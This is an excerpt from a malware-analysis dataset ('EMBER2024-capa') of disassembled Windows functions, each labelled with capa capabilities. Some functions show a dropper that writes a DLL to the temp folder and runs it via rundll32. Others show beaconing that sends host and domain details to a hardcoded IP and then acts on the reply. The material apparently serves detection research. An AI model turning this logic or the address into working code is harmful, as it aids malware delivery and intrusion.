joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff7c011ad00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
movsd qword [rsp + 0x20], xmm3
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x7ff7c01ca008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0xa0]
mov rsi, rdx
mov rdx, qword [rsp + 0x98]
test eax, eax
mov r9, rdx
mov r11d, 0xd
mov r10d, r11d
movabs rbx, 0xfffffffffffff
cmovns r10d, eax
mov rbp, r8
and r9, rbx
shr rdx, 0x34
mov r14, rcx
test edx, edx
jne 0x7ff7c011ad74
mov rax, r9
neg rax
sbb ecx, ecx
and ecx, 0xfffffc02
jmp 0x7ff7c011ad7a
lea ecx, [rdx - 0x3ff]
mov rax, r9
movabs r8, 0x10000000000000
or rax, r8
mov r15d, 0x2d
test edx, edx
cmovne r9, rax
mov eax, ecx
cdq
mov edi, eax
mov eax, 0x2b
xor edi, edx
sub edi, edx
test ecx, ecx
cmovns r15d, eax
cmp edi, 0xa
jae 0x7ff7c011adb4
lea edx, [rax - 0x27]
jmp 0x7ff7c011adcf
cmp edi, 0x64
jae 0x7ff7c011adc2
mov edx, 5
jmp 0x7ff7c011adcf
cmp edi, 0x3e8
sbb rdx, rdx
add rdx, 7
mov rcx, rbp
movsxd r8, r10d
sub rcx, rsi
cmp rcx, r8
jl 0x7ff7c011af1b
xor eax, eax
test r10d, r10d
setg al
sub rcx, r8
add rax, rdx
cmp rcx, rax
jl 0x7ff7c011af1b
cmp r10d, r11d
jge 0x7ff7c011ae35
lea r8, [r9 + r9]
sub r11d, r10d
shl r11d, 2
lea rax, [r8 - 1]
or rax, r9
movzx ecx, r11b
mov edx, 1
shl rdx, cl
and rdx, rax
and rdx, r8
add r9, rdx
mov rax, r9
and r9, rbx
shr rax, 0x34
add al, 0x30
mov byte [rsi], al
inc rsi
test r10d, r10d
jle 0x7ff7c011aec2
mov byte [rsi], 0x2e
lea r11, [0x7ff7c01a7a98]
mov rax, r9
lea r8d, [r10 - 1]
shr rax, 0x30
mov ecx, 0x30
movzx eax, byte [rax + r11]
mov byte [rsi + 1], al
add rsi, 2
test r8d, r8d
je 0x7ff7c011aec2
movabs rdx, 0x1000000000000
test ecx, ecx
je 0x7ff7c011aeac
lea rax, [rdx - 1]
sub ecx, 4
and r9, rax
ror rdx, 4
mov rax, r9
shr rax, cl
mov eax, eax
movzx eax, byte [rax + r11]
mov byte [rsi], al
inc rsi
sub r8d, 1
jne 0x7ff7c011ae80
jmp 0x7ff7c011aec2
movsxd rbx, r8d
mov edx, 0x30
mov r8, rbx
mov rcx, rsi
call fcn.7ff7c0123170
add rsi, rbx
mov byte [rsi], 0x70
lea r9, [rsp + 0x40]
mov byte [rsi + 1], r15b
add rsi, 2
nop dword [rax]
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul edi
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub dil, cl
add dil, 0x30
mov byte [r9], dil
mov edi, edx
test edx, edx
jne 0x7ff7c011aee0
lea rbx, [rsp + 0x40]
mov rax, rbp
sub rbx, r9
sub rax, rsi
cmp rax, rbx
jge 0x7ff7c011af25
mov dword [r14 + 8], 0x84
jmp 0x7ff7c011af3f
mov r8, rbx
mov rdx, r9
mov rcx, rsi
call fcn.7ff7c0125120
mov dword [r14 + 8], 0
lea rbp, [rbx + rsi]
mov qword [r14], rbp
mov rax, r14
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.7ff7c0121390
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x7ff7c01307a0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x7ff7c013077d
call fcn.7ff7c0131858
mov dword [rax], 0x16
call fcn.7ff7c0131738
or eax, 0xffffffff
jmp 0x7ff7c013079a
sub dword [rcx + 0x10], 1
jns 0x7ff7c013078c
add rsp, 0x28
jmp 0x7ff7c013c498
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x7ff7c013075c
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x7ff7c013c4ca
call fcn.7ff7c0131858
mov dword [rax], 0x16
call fcn.7ff7c0131738
jmp 0x7ff7c013c5e7
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x7ff7c013c5e7
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x7ff7c013c5e7
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x7ff7c013c4f9
lock or dword [rcx + 0x14], 0x10
jmp 0x7ff7c013c5e7
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x7ff7c013c50d
call fcn.7ff7c013e400
mov rbx, qword [rdi + 8]
mov rcx, rdi
mov qword [rdi], rbx
call fcn.7ff7c01355bc
mov r8d, dword [rdi + 0x20]
mov ecx, eax
mov rdx, rbx
call fcn.7ff7c0131e38
mov dword [rdi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x7ff7c013c5d5
mov eax, dword [rdi + 0x14]
or esi, 0xffffffff
test al, 6
jne 0x7ff7c013c5a0
mov rcx, rdi
call fcn.7ff7c01355bc
cmp eax, esi
je 0x7ff7c013c58b
mov rcx, rdi
call fcn.7ff7c01355bc
cmp eax, 0xfffffffe
je 0x7ff7c013c58b
mov rcx, rdi
call fcn.7ff7c01355bc
movsxd rbx, eax
lea r14, [0x7ff7c01d2540]
mov rcx, rdi
sar rbx, 6
call fcn.7ff7c01355bc
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x7ff7c013c592
lea rdx, [0x7ff7c01ca400]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x7ff7c013c5a0
lock or dword [rdi + 0x14], 0x20
cmp dword [rdi + 0x20], 0x200
jne 0x7ff7c013c5c4
mov eax, dword [rdi + 0x14]
shr eax, 6
test al, 1
je 0x7ff7c013c5c4
mov eax, dword [rdi + 0x14]
shr eax, 8
test al, 1
jne 0x7ff7c013c5c4
mov dword [rdi + 0x20], 0x1000
mov rax, qword [rdi]
add dword [rdi + 0x10], esi
movzx esi, byte [rax]
inc rax
mov qword [rdi], rax
jmp 0x7ff7c013c5ea
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rdi + 0x14], eax
and dword [rdi + 0x10], 0
or esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, esi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret

Function at 0x7ff7c013402c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x7ff7c0133e58
Function at 0x7ff7c013c604
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x7ff7c013c32a
call fcn.7ff7c0131858
mov dword [rax], 0x16
call fcn.7ff7c0131738
jmp 0x7ff7c013c475
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x7ff7c013c475
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x7ff7c013c475
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x7ff7c013c359
lock or dword [rcx + 0x14], 0x10
jmp 0x7ff7c013c475
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x7ff7c013c36d
call fcn.7ff7c013e400
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x7ff7c013c37d
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x7ff7c013c380
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.7ff7c01355bc
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.7ff7c0131e38
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x7ff7c013c463
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x7ff7c013c411
mov rcx, rbx
call fcn.7ff7c01355bc
cmp eax, 0xffffffff
je 0x7ff7c013c3fc
mov rcx, rbx
call fcn.7ff7c01355bc
cmp eax, 0xfffffffe
je 0x7ff7c013c3fc
mov rcx, rbx
call fcn.7ff7c01355bc
movsxd rdi, eax
lea r14, [0x7ff7c01d2540]
mov rcx, rbx
sar rdi, 6
call fcn.7ff7c01355bc
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x7ff7c013c403
lea rdx, [0x7ff7c01ca400]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x7ff7c013c411
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x7ff7c013c435
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x7ff7c013c435
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x7ff7c013c435
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x7ff7c013c453
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x7ff7c013c45e
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x7ff7c013c47a
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x7ff7c013c2f4
Function at 0x1e6b742140e
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x20]
mov edx, 0
mov rcx, rax
call sub.KERNEL32.dll_TerminateProcess
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x10]
cmp rax, 0xffffffffffffffff
je 0x1e6b7421459
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x10]
mov rcx, rax
call sub.KERNEL32.dll_CloseHandle
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x10], 0xffffffffffffffff
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
cmp rax, 0xffffffffffffffff
je 0x1e6b7421480
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov rcx, rax
call sub.KERNEL32.dll_CloseHandle
mov rax, qword [rbp + 0x10]
mov qword [rax], 0xffffffffffffffff
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x18]
cmp rax, 0xffffffffffffffff
je 0x1e6b74214aa
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x18]
mov rcx, rax
call sub.KERNEL32.dll_CloseHandle
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x18], 0xffffffffffffffff
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 8]
cmp rax, 0xffffffffffffffff
je 0x1e6b74214d4
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 8]
mov rcx, rax
call sub.KERNEL32.dll_CloseHandle
mov rax, qword [rbp + 0x10]
mov qword [rax + 8], 0xffffffffffffffff
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x20]
cmp rax, 0xffffffffffffffff
je 0x1e6b74214fe
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_CloseHandle
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x20], 0xffffffffffffffff
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x28]
cmp rax, 0xffffffffffffffff
je 0x1e6b7421528
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
call sub.KERNEL32.dll_CloseHandle
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x28], 0xffffffffffffffff
nop
add rsp, 0x20
pop rbp
ret

Function at 0x1e6b74216d0
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0xe0]
mov qword [rbp + 0x20], rcx
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x70], 0x68
pxor xmm0, xmm0
movups xmmword [rbp - 0x90], xmm0
movq qword [rbp - 0x80], xmm0
mov rax, qword [rbp + 0x20]
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x1e6b742176f
mov eax, 0
jmp 0x1e6b742177e
mov ecx, 0x3e8
call sub.KERNEL32.dll_Sleep
mov eax, 1
add rsp, 0xe8
pop rdi
pop rbp
ret
Function at 0x1e6b74217f4
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push rbp
sub rsp, 0x640
lea rbp, [rsp + 0x80]
mov rax, qword [0x1e6b7426130]
mov rax, qword [rax]
lea rdx, [rbp + 0x4b0]
mov r8d, 0x104
mov rcx, rax
call sub.KERNEL32.dll_GetModuleFileNameA
test eax, eax
jne 0x1e6b7421831
mov eax, 0
jmp 0x1e6b74218ed
lea rax, str.temp
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str._s_tmpf193.dll
mov rcx, rax
call sub.msvcrt.dll_sprintf
lea rax, [rbp - 0x60]
lea rdx, [0x1e6b7426098]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x5b8], rax
cmp qword [rbp + 0x5b8], 0
jne 0x1e6b7421884
mov eax, 0
jmp 0x1e6b74218ed
mov rax, qword [rbp + 0x5b8]
mov r9, rax
mov r8d, 0xa00
mov edx, 1
lea rax, section..data
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x5b8]
mov rcx, rax
call sub.msvcrt.dll_fclose
lea rcx, [rbp + 0x4b0]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov r9, rcx
mov r8, rdx
lea rdx, str.rundll32.exe__s_run__s
mov rcx, rax
call sub.msvcrt.dll_sprintf
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1e6b74216d0
add rsp, 0x640
pop rbp
ret

Function at 0x1e6b7421b46
Capabilities:
Query environment variable
Read file on windows

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], rdx
lea rax, str.temp
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str._s_s01bafg
mov rcx, rax
call sub.msvcrt.dll_sprintf
lea rax, [rbp - 0x50]
lea rdx, [0x1e6b74260bd]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc0], 0
jne 0x1e6b7421bba
mov eax, 0
jmp 0x1e6b7421ce2
mov rax, qword [rbp + 0xc0]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov edx, eax
mov rax, qword [rbp + 0xe8]
mov dword [rax], edx
mov rax, qword [rbp + 0xc0]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax]
shr eax, 3
mov edx, eax
mov rax, qword [rbp + 0xe8]
mov dword [rax], edx
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax]
mov eax, eax
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
mov rax, qword [rbp + 0xe0]
mov qword [rax], rdx
mov dword [rbp + 0xcc], 0
jmp 0x1e6b7421cbb
mov rdx, qword [rbp + 0xc0]
lea rax, [rbp - 0x54]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fread
mov rax, qword [rbp + 0xe0]
mov rax, qword [rax]
mov rdx, qword [rbp + 0xc0]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fread
mov edx, dword [rbp - 0x54]
mov rax, qword [rbp + 0xe0]
mov rax, qword [rax]
mov r8d, edx
mov edx, 4
mov rcx, rax
call fcn.1e6b74242f6
add dword [rbp + 0xcc], 1
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax]
mov edx, dword [rbp + 0xcc]
cmp edx, eax
jb 0x1e6b7421c4f
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov eax, 1
add rsp, 0x150
pop rbp
ret
Function at 0x1e6b7422a4f
Capabilities:
Get hostname

Disassembly:
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x120], rcx
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x25
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov dword [rbp + 0xf4], 1
lea rax, [rbp - 0x30]
mov dword [rax], 0x691155
mov dword [rbp - 0x34], 0
mov eax, dword [0x1e6b7447060]
cmp eax, 2
ja 0x1e6b7422ad0
mov eax, dword [0x1e6b7447060]
mov eax, eax
shl rax, 4
mov rdx, rax
lea rax, str.185.216.144.43
add rax, rdx
mov rcx, rax
call sub.WS2_32.dll_inet_addr
mov dword [rbp - 0x34], eax
jmp 0x1e6b7422b2e
mov eax, dword [0x1e6b7447060]
mov edx, eax
mov eax, dword [0x1e6b7447050]
mov eax, eax
add rax, 3
cmp rdx, rax
jae 0x1e6b7422b10
mov rax, qword [0x1e6b7447048]
mov edx, dword [0x1e6b7447060]
mov edx, edx
sub rdx, 3
shl rdx, 4
add rax, rdx
mov rcx, rax
call sub.WS2_32.dll_inet_addr
mov dword [rbp - 0x34], eax
jmp 0x1e6b7422b2e
mov rax, qword [0x1e6b7447058]
test rax, rax
je 0x1e6b7422b2e
mov rax, qword [0x1e6b7447058]
mov rcx, rax
call sub.WS2_32.dll_inet_addr
mov dword [rbp - 0x34], eax
lea rax, [rbp - 0x34]
movzx eax, byte [rax]
mov byte [rbp - 0x2c], al
movzx eax, byte [rbp - 0x33]
mov byte [rbp - 0x2b], al
movzx eax, byte [rbp - 0x32]
mov byte [rbp - 0x2a], al
movzx eax, byte [rbp - 0x31]
mov byte [rbp - 0x29], al
call fcn.1e6b7422610
mov dword [rbp + 0xf0], eax
mov dword [rbp - 0x38], 0x101
lea rax, [rbp - 0x38]
lea rdx, [rbp - 0x30]
lea rcx, [rdx + 8]
mov rdx, rax
call sub.KERNEL32.dll_GetComputerNameA
mov qword [rbp - 0x50], 0
lea rdx, [rbp - 0x54]
lea rax, [rbp - 0x50]
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sub.NETAPI32.dll_NetGetJoinInformation
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jne 0x1e6b7422bcd
mov rax, qword [rbp - 0x50]
lea rdx, [rbp - 0x30]
lea rcx, [rdx + 0x109]
mov r8d, 0x10
mov rdx, rax
call sub.msvcrt.dll_wcstombs
mov rax, qword [rbp - 0x50]
mov rcx, rax
call sub.NETAPI32.dll_NetApiBufferFree
jmp 0x1e6b7422beb
mov dword [rbp - 0x38], 0x10
lea rax, [rbp - 0x38]
lea rdx, [rbp - 0x30]
lea rcx, [rdx + 0x109]
mov rdx, rax
call sub.KERNEL32.dll_GetComputerNameA
call fcn.1e6b74228f7
mov dword [rbp + 0xf8], eax
mov dword [rbp - 0x40], 0x12c
mov dword [rbp - 0x3c], 0
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x120]
mov r9, rcx
mov r8d, 0x12c
mov rcx, rax
call fcn.1e6b74240aa
test eax, eax
jg 0x1e6b7422c2f
mov eax, 0
jmp 0x1e6b7422c9e
mov byte [rbp - 0x41], 0
mov dword [rbp - 0x40], 0x12c
mov dword [rbp - 0x3c], 0
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x41]
mov rax, qword [rbp + 0x120]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call fcn.1e6b7423f83
test eax, eax
jg 0x1e6b7422c6c
mov eax, 0
jmp 0x1e6b7422c9e
movzx eax, byte [rbp - 0x41]
movzx eax, al
cmp eax, 1
je 0x1e6b7422c85
cmp eax, 2
je 0x1e6b7422c94
nop
mov eax, 1
jmp 0x1e6b7422c9e
call fcn.1e6b74217f4
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
add rsp, 0x188
pop rdi
pop rbp
ret
Function at 0x1e6b7423f83
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x240
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov dword [rbp + 0x1e0], r8d
mov qword [rbp + 0x1e8], r9
cmp qword [rbp + 0x1d0], 0xffffffffffffffff
jne 0x1e6b7423fc3
mov eax, 0xffffffff
jmp 0x1e6b74240a1
mov dword [rbp - 0x50], 0
mov dword [rbp + 0x1bc], 0
jmp 0x1e6b7423ff1
mov eax, dword [rbp + 0x1bc]
mov rax, qword [rbp + rax*8 - 0x48]
cmp qword [rbp + 0x1d0], rax
je 0x1e6b7423ffc
add dword [rbp + 0x1bc], 1
mov eax, dword [rbp - 0x50]
cmp dword [rbp + 0x1bc], eax
jb 0x1e6b7423fd6
mov eax, dword [rbp - 0x50]
cmp dword [rbp + 0x1bc], eax
jne 0x1e6b742402a
mov eax, dword [rbp - 0x50]
cmp eax, 0x3f
ja 0x1e6b742402a
mov eax, dword [rbp + 0x1bc]
mov rdx, qword [rbp + 0x1d0]
mov qword [rbp + rax*8 - 0x48], rdx
mov eax, dword [rbp - 0x50]
add eax, 1
mov dword [rbp - 0x50], eax
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0x1e8]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
call sub.WS2_32.dll_select
test eax, eax
jg 0x1e6b742405e
mov eax, 0xffffffff
jmp 0x1e6b74240a1
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x1e6b742407c
mov eax, 0xffffffff
jmp 0x1e6b74240a1
mov ecx, dword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1d0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
call sub.WS2_32.dll_recv
add rsp, 0x240
pop rbp
ret

Function at 0x1e6b7424132
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x240
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov dword [rbp + 0x1e0], r8d
mov qword [rbp + 0x1e8], r9
cmp qword [rbp + 0x1d0], 0xffffffffffffffff
jne 0x1e6b7424172
mov eax, 0xffffffff
jmp 0x1e6b742424f
mov dword [rbp - 0x50], 0
mov dword [rbp + 0x1bc], 0
jmp 0x1e6b74241a0
mov eax, dword [rbp + 0x1bc]
mov rax, qword [rbp + rax*8 - 0x48]
cmp qword [rbp + 0x1d0], rax
je 0x1e6b74241ab
add dword [rbp + 0x1bc], 1
mov eax, dword [rbp - 0x50]
cmp dword [rbp + 0x1bc], eax
jb 0x1e6b7424185
mov eax, dword [rbp - 0x50]
cmp dword [rbp + 0x1bc], eax
jne 0x1e6b74241d9
mov eax, dword [rbp - 0x50]
cmp eax, 0x3f
ja 0x1e6b74241d9
mov eax, dword [rbp + 0x1bc]
mov rdx, qword [rbp + 0x1d0]
mov qword [rbp + rax*8 - 0x48], rdx
mov eax, dword [rbp - 0x50]
add eax, 1
mov dword [rbp - 0x50], eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x1e8]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call sub.WS2_32.dll_select
test eax, eax
jg 0x1e6b742420c
mov eax, 0xffffffff
jmp 0x1e6b742424f
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x1e6b742422a
mov eax, 0xffffffff
jmp 0x1e6b742424f
mov ecx, dword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1d0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
call sub.WS2_32.dll_send
add rsp, 0x240
pop rbp
ret
Function at 0x4142e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41446b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x414345
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x414354
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x414373
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x414383
cmp rbx, 0x1000
jae 0x41434b
jmp 0x4143ed
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x414395
xor edx, edx
jmp 0x4143e4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x414379
jmp 0x414368
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x006f2b80]
mov ebx, 0x18
nop dword [rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x006f322f]
mov ebx, 0x19
nop dword [rax + rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x006f71b3]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS
Function at 0x4144a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4146c6
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x00e7d110]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x414513
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x414522
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x414545
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x414555
